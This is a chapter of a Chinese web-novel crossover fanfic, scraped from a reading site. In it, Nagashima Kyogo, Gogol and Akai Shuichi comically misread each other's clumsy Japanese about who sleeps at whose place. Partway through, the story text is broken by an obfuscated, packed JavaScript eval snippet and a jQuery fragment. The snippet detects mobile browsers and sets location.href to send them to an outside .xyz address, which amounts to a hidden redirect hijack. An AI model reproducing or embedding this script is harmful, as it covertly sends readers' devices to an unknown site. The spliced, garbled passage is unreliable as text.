默认冷灰
24号文字
方正启体

50.长岛请睁眼,今晚你和谁睡

作者:真二狗本书字数:K更新时间:
    果戈里和长岛京悟连着打了五个小时的大乱斗。


    随着天色越来越黑,长岛京悟的生理机能也开始向社畜极限逼近。他渐渐眼神涣散,反应迟缓,操作逐渐摆烂,最后一局发现打不过了之后甚至干脆跳崖自杀了。反观果戈里,作为一个不受人类生理规律支配的存在,此刻不仅没有疲惫,反而像是状态愈战愈勇,精神抖擞。


    长岛京悟忍不住产生了一个邪恶的念头:不如让果戈里自己去跟电脑打文明6吧。他可以开一局马拉松速率,科技、文化、军事三线发展,把果戈里丢进去。不把一个人逼上绝路,都不能看清楚这个小登能够熬多长时间。


    说干就干,他正要打开电脑执行这个计划的时候,门铃响了。


    长岛京悟身上一点力气都没有,他默默祈祷果戈里还没有丧失最后的一点人性,用气音柔弱地说:“尼古莱,你去开门吧。”


    果戈里甚至连眼皮都没抬,无比理所当然地拒绝了:“不想动,你去。”


    ……这小登。长岛京悟恶狠狠地在心里用恶毒的词藻辱骂,然后他深吸一口气,认命般地迈着虚浮的步伐去拉开了门。


    门外站着的是赤井秀一。他看上去洗了个澡,换了一身干净衣服,整个人看上去精神许多,脸色也没有早上那么失血过多的苍白了。他背着自己的书包,左手提着一个超市的塑料袋,右手抱着一个枕头。看见长岛京悟后他露出一个温和的笑容。


    赤井秀一说:“前辈,今天晚上也拜托收留了。我带了点零食、买了一点食材,前辈要是没吃晚饭的话,我还可以给你做点吃的。”


    长岛京悟感激地说:“你看看你,来就来吧,还带那么多东西干什么。”说着他伸手接过塑料袋,侧身让赤井秀一进门。


    赤井秀一立刻发现了还坐在沙发上打游戏的果戈里。如果说这个世界上有什么生物能让赤井秀一本能性地提高警惕,果戈里绝对是其中之一。他和这个小登打过几次交道,而每一次都以他莫名其妙地被迫害告终,导致他现在看到果戈里就会产生某种条件反射般的不安。


    但是和登的交往是有二向性的:你可以无视小登,但小登不会无视你。


    果戈里朝他挥了挥手:“原来是你来了,长岛的挚友。”


    他也看见了装着食物的袋子,下一秒钟袋子里的薯片就通过他的斗篷到了手里,过程流畅得像是设置了快捷键。果戈里打开袋子,咔呲咔呲地吃着薯片,含混不清地说:“你今天晚上也要来和长岛睡吗?”


    。


    空气一瞬间陷入了一种微妙的死寂。长岛京悟表情空白了两秒,才反应过来果戈里的意思。


    如果这个世界上有“日语使用灾难排行榜”,果戈里刚刚那句话绝对能冲进前五。


    长岛京悟强行深呼吸,试图平复自己快要断掉的理智,同时努力从逻辑上思考这个灾难性的语句到底是怎么形成的。


    其实仔细想想,这个情况也不是完全不能理解。毕竟果戈里说到底是个俄罗斯人。也就是说,他的母语是俄语。之前他在旧金山做魔术表演时也一直用的是英语。但自从知道他们是日本人之后,这家伙就入乡随俗地全程讲日语了。


    他的日语讲得极其流畅,不仅没有任何口音,甚至还能说出不少连本地人都未必能掌握的流行梗。这就导致长岛京悟在大多数时候都快忘记这家伙其实是个外国人了。


    果戈里的流利日语大概能骗过绝大多数的普通人,但是长岛京悟现在算是清楚了,这种流利只停留在表面,它就像是一层极其薄的糖衣,只要轻轻一戳,就会露出里面那堪比俄式拼音输入法的灾难现场。


    而他现在,正处在糖衣破裂的第一排观众席。


    目前这个社会的道德体系对于外国人乱造词这种事情是极其宽容的。哪怕果戈里刚才那句日语对他的精神造成了毁灭性打击,只要这句话是从一张明显不是日本人的脸里说出来的,世界上的大多数人都会温柔地原谅他。


    ……但这并不意味着他就可以因此为所欲为!!!(尖叫)


    今晚他长岛京悟就得拿出在推特上大战克莉丝温亚德黑粉的气势,从语言学的根源上纠正果戈里的错误。他得给果戈里从头到尾讲一遍日语语法,让他清楚地理解“睡”这个词在不同语境下的确切含义。之后他要找十几篇关于这个词的日语完形填空,让果戈里逐一做完,必须全对才能继续玩他的Switch。这个小登要是不学好日语,今晚就别想碰游戏机。


    长岛京悟暗暗下定决心,今晚无论如何都要把果戈里的日语纠正过来。然而,他还没来得及开口,就听见赤井秀一冷笑了一声,语气里满是挑衅:“睡而已,碍着你了?不是你一开始拒绝和他睡的吗?”


    长岛京悟:“……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984250|158780||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他缓缓地转头,看向赤井秀一,整个人已经麻木了。他现在就像是一个刚刚进入战场的新兵,正要给敌人最后一击,结果发现队友突然转头朝自己开了一枪。


    他刚才还以为自己只需要给果戈里上一节日语课。但现在,他发现这个问题比自己想象的更加棘手。


    ……因为赤井秀一好像压根没有意识到果戈里的日语有问题。


    。


    赤井秀一,FBI精英,枪法神准,作战冷静,情报能力超群。他是一个完美的人,除了他也讲着一口塑料日语。


    他虽然是日本人,但从小在英国长大,之后又来美国读书。换句话说,他日语的学习环境很随缘。再加上他的性格本来就不怎么热衷于与人日常交流,导致他掌握的日语虽然听上去十分流利,但本质上就是和果戈里一样,是日语外壳、英语思维。


    果戈里说的话,他不仅完全没有听出问题,反而觉得这句话像是在挑衅自己。毕竟,他和果戈里之间有着夺公寓之恨:果戈里昨晚毫不留情地把他赶出1503,导致他不得不在长岛京悟的客厅借住。所以,当果戈里刚才那句“你今天晚上也要来和长岛睡吗?”传入赤井秀一的耳朵里,他的大脑自动屏蔽了语法错误的可能性,直接翻译成了某种挑衅性的试探。


    于是,他毫不犹豫地反击了回去:“睡而已,碍着你了?不是你一开始拒绝和他睡的吗?”


    他这句话一出,果戈里果然也感到了挑衅。他咬着薯片,眯起眼睛,嘴角露出一个微妙的笑容:“你这句话很讨厌。那我把你杀了,长岛今晚就只能和我睡了。”


    赤井秀一瞳孔一缩,警觉地抬起头,眼神瞬间变得危险。


    他的手摸向书包,战争一触即发。


    长岛京悟:“……”


    ——我受够了,我真的受够了!!!(声嘶力竭)


    他本来只是想让果戈里学好日语,但现在情况已经发展到了两个塑料日语人的互相误解环节,整个对话逻辑正在朝着不可控的方向飞速狂奔。他深吸了一口气,努力告诉自己不能崩溃。


    然后,他转身就往自己的房间走去。


    赤井秀一看见他离开,问:“前辈,你去哪里?”


    长岛京悟头也不回,语气平静:“去打印十几份日语完形填空,今晚我们三个一起做。”


    有一个算一个,谁都别想跑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)